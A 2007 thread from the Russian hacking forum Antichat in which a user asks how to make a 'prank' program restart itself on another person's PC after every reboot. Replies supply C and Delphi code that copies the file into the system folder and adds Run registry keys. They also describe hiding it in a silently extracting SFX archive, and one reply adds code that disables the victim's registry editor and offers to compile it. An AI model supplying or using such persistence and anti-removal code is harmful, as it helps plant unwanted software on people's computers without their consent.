Форум АНТИЧАТ
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Windows (https://forum.antichat.xyz/forumdisplay.php?f=42)
-   -   прога-прикол! Нужна помощь))) (https://forum.antichat.xyz/showthread.php?t=37395)

oberten 07.04.2007 16:06
прога-прикол! Нужна помощь)))
 
http://slil.ru/24198524 здесь лежит мини файл прикола. Когда запускаешь , то периодически комп начинает пердеть пукать и отрыгивать. Прога прикол короче. Вопрос такой кто может его чуть переделать, чтобы при запуске на компе но посзагрузки компа прописывался бы в автозагрузку скажем? вообще, чтобы после перезагрузки компа этот прикол снова и снова активировался! :)

*D1VER 07.04.2007 16:46
один вопрос. ЗАЧЕМ оно тебе?

-n00by- 07.04.2007 18:50
Код:
void Copy(void)
{
        char FileName[256],String[256];;
        GetModuleFileName(0,FileName,256);
        GetSystemDirectory(String,255);
        lstrcat(String,"\\**имя_файла**");
        CopyFile(FileName,String,TRUE);
}

DWORD Autorun(void)
{
        char String[256];
        HKEY hKey;
        GetSystemDirectory(String,255);
        lstrcat(String,"**имя_файла**");
        DWORD ret = RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",&hKey);
        if (ret==ERROR_SUCCESS)
        {
                ret = RegSetValueEx(hKey,"Run",0,REG_SZ,(const unsigned char *)String,lstrlen(String));
        }
        if (ret==ERROR_SUCCESS)
                return TRUE;
        else
                return FALSE;
}

gold-goblin 07.04.2007 23:26
Мой 1 способ:
1) делаем батник который добавит фаил на авто загрузку в реестре
2) запихиваем в само распоковывающийся архив батник и прогу, настраиваем архив на незаметное извлечение и запуск батника.

Мой 2 способ:
1)создаем само распоковывающийся архив и запихиваем в него нашу прогу, в настройках архива выставляем создание ярлыка в папке автозагрузки.

n0ne 07.04.2007 23:56
gold-goblin, ну не ярлыка, а копии уж тогда.

Sn@k3 08.04.2007 01:14
C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузк а =\
остальные методы расхваталиюю етсь ещё пара идей, но они те не понравяться

_artem_ 08.04.2007 03:12
Код:
procedure TForm1.FormCreate(Sender: TObject);
var
  RegIni : TRegIniFile;
begin
  RegIni := TRegIniFile.Create('Software');
  RegIni.RootKey := HKEY_LOCAL_MACHINE;
  RegIni.OpenKey('Software', true);
  RegIni.OpenKey('Microsoft', true);
  RegIni.OpenKey('Windows', true);
  RegIni.OpenKey('CurrentVersion', true);
  RegIni.WriteString('Run', 'файло.exe', Application.ExeName);
  RegIni.Free;
end;
вот так можно в делфи прописать файл в автозагрузку через реестр...
сильно не орать! делфи только два дня учу :)

goodkit 10.04.2007 05:31
SORRY 4 OFFTOP Вы смотрите оокуратней с такими приколами, тут ко мне друг зашел себе фильмы слить с моего компа и я увидел у него прогу, говорит тоже прикол когда то качал что то типа там делаетца с виндовс, ну я чуть было не зустил....проверил на http://www.virustotal.com, а там трой/бэкдор, приятель сам в осадок выпал )

gold-goblin 10.04.2007 20:59
n0ne

При создании само распокоющего архива можно сразу поставить галочку: добавить ярлык в папку авто загрузки.
И с адресами меньше мороки.

Ci5 18.04.2007 15:41
Можно написать что-то типа того.
Код:
program project2;
uses
  Windows,
  registry;

var
  h: TRegistry;
begin
  h := TRegistry.Create;
  with h do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
    WriteString('имя программы, 'C:\windows\system32\ProgramName.exe');
    CloseKey;
    Free;
  end;
  CopyFile(PChar('ProgramName.exe'),PChar('ProgramName.exe'),true);
end.
Потом просто создать SFX архив, указать чтобы при распаковке архива запустиласть эта программка.
Можно еще доступ к реестру ему отключить, вставив это кусочек
Код:
H := TRegistry.Create;
  with H do
  begin
    RootKey := HKEY_CURRENT_USER;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', true);
    WriteInteger('DisableRegistryTools', 1);
    CloseKey;
    Free;
  end;
Если у тя нет Delphi, могу откомпилить и те отослать.


Время: 09:54
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице